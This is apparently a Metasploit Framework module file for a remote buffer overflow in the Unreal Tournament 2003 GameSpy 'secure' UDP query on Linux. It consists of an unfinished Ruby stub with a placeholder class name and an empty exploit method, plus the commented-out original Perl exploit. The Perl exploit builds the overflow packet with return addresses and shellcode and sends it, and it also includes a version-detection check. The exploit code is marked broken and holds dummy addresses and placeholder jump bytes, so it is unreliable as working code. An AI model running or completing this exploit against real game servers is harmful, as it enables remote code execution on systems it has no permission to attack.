289 lines
8.0 KiB
Ruby
289 lines
8.0 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Unreal Tournament 2003 "secure" Overflow (Linux)',
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'Description' => %q{
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This is an exploit for the GameSpy secure query in
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the Unreal Engine.
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This exploit only requires one UDP packet, which can
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be both spoofed
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and sent to a broadcast address.
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Usually, the GameSpy query server listens
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on port
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7787, but you can manually specify the port as well.
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The RunServer.sh script will automatically restart the
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server upon a crash, giving
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us the ability to
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bruteforce the service and exploit it multiple
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times.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '7217'],
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[ 'BID', '10570'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x5c\x00",
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'MinNops' => 512,
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'linux',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => '',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::ut2003_secure_linux;
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use base "Msf::Exploit";
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use strict;
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my $advanced = { };
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my $info =
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{
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'Name' => 'Unreal Tournament 2003 "secure" Overflow (Linux)',
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'Version' => '$Revision$',
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'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'linux' ],
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'Priv' => 1,
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'UserOpts' => {
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 7787],
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},
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'Payload' => {
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'Space' => 1024,
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'BadChars' => "\x5c\x00",
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'MinNops' => 512,
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},
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'Description' => qq{
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This is an exploit for the GameSpy secure query in the Unreal Engine.
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This exploit only requires one UDP packet, which can be both spoofed
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and sent to a broadcast address. Usually, the GameSpy query server listens
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on port 7787, but you can manually specify the port as well.
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The RunServer.sh script will automatically restart the server upon a crash, giving
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us the ability to bruteforce the service and exploit it multiple
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times.
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},
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'Refs' => [
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['OSVDB', 7217],
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['BID', 10570],
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],
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'DefaultTarget' => 0,
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'Targets' => [
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['UT2003 Linux Build Autodetect'],
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['UT2003 Linux Build 2206', 0x12345678, 0x8080fbc],
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],
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'Keys' => ['broken'],
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target_idx = $self->GetVar('TARGET');
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my $target = $self->Targets->[$target_idx];
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my $request = Pex::Text::PatternCreate(1024);
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if(0 && $target_idx == 0) # Autodetect and adjust payload accordingly...
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{
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my $versionNum = $self->GetVersion($target_host, $target_port);
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if(! $versionNum) {
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$self->PrintLine('[*] Could not obtain Version from host ' . $target_host . ':' . $target_port);
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$self->PrintLine('[*] Aborting...');
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return;
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}
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elsif($versionNum == 3120) {
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$target = $self->Targets->[1];
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}
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elsif ($versionNum == 3186) {
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$target = $self->Targets->[2];
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}
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elsif ($versionNum == 3204) {
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$target = $self->Targets->[3];
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}
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elsif (! $versionNum ) {
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$self->PrintLine('[*] No response from host');
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$self->PrintLine('[*] Aborting...');
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return;
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}
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else {
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$self->PrintLine('[*] Detected Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port . "isn't vulnerable to attack");
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$self->PrintLine('[*] Aborting...');
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return;
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}
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$self->PrintLine('[*] Detected Vulnerable Version ' . $versionNum . ' on host ' . $target_host . ':' . $target_port);
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$self->PrintLine('[*] Assembling Payload for version ' . $versionNum);
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}
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$target->[2] = 0xbfffc250; # heap address :(
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# add sp, 0x1560
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# jmp esp
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my $Jumper = "\x66\x81\xC4\x60\x15\xFF\xE4\x41";
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$Jumper = ("\xcc" x 4) . "XXXX";
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# (add BYTE PTR [eax],al) x 3
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substr($request, 36, "\xeb\x06", 2);
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# return address
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substr($request, 40, 4, pack('V', $target->[1] ));
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substr($request, 44, 4, pack('V', $target->[2] ));
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substr($request, 48, 4, pack('V', $target->[2] ));
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substr($request, 52, 4, pack('V', $target->[2] ));
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# 0x8080fb0: 0x00000000 0x00000000 0x00000000 0x00000000
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# 0x8080fc0 <data_start>: 0x00000000 0x080861e8 0x00000000 0x00000000
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# 0x8081110 <tailfd.430>: 0x00000000 0x00000000 0x00000000 0x00000000
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# 0x8081120 <__vt_15FConfigCacheIni>: 0x00000000 0x08067e54 0x0807b350 0x0807b290
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substr($request, 0, length("\\secure\\"), "\\secure\\");
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substr($request, 56, $shellcode);
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my $sock = Msf::Socket::Udp->new
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(
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PeerAddr => $target_host,
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PeerPort => $target_port,
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);
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if($sock->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
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return;
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}
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$self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
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if(!$sock->Send($request)) {
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$sock->PrintError;
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return;
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}
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sleep(2);
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return;
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}
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sub Check
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{
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my $self = shift();
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $versionNum = $self->GetVersion($target_host, $target_port);
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if(! $versionNum) {
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$self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port);
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return $self->CheckCode('Generic');
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}
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else {
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$self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
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if ($versionNum =~ /^(3...)$/) {
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$self->PrintLine("[*] The server is running UT2004");
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return $self->CheckCode('Safe');
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}
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elsif ($versionNum =~ /^(2...)$/) {
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$self->PrintLine("[*] The server appears to be running UT2003");
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return $self->CheckCode('Appears');
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}
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$self->PrintLine("[*] The server is more than likely patched");
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return $self->CheckCode('Safe');
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}
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}
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sub GetVersion
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{
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my $self = shift();
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my $target_host = shift();
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my $target_port = shift();
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my $s = Msf::Socket::Udp->new
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(
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PeerAddr => $target_host,
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PeerPort => $target_port,
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);
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if($s->IsError()) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);
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my $versionRequest = "\\basic\\";
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if(!$s->Send($versionRequest)) {
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$s->PrintError;
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return;
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}
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my $versionReply = $s->Recv(-1, 10);
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my $versionNum;
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if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
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$versionNum = $1;
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}
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return $versionNum;
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}
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1;
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=end
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end
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end
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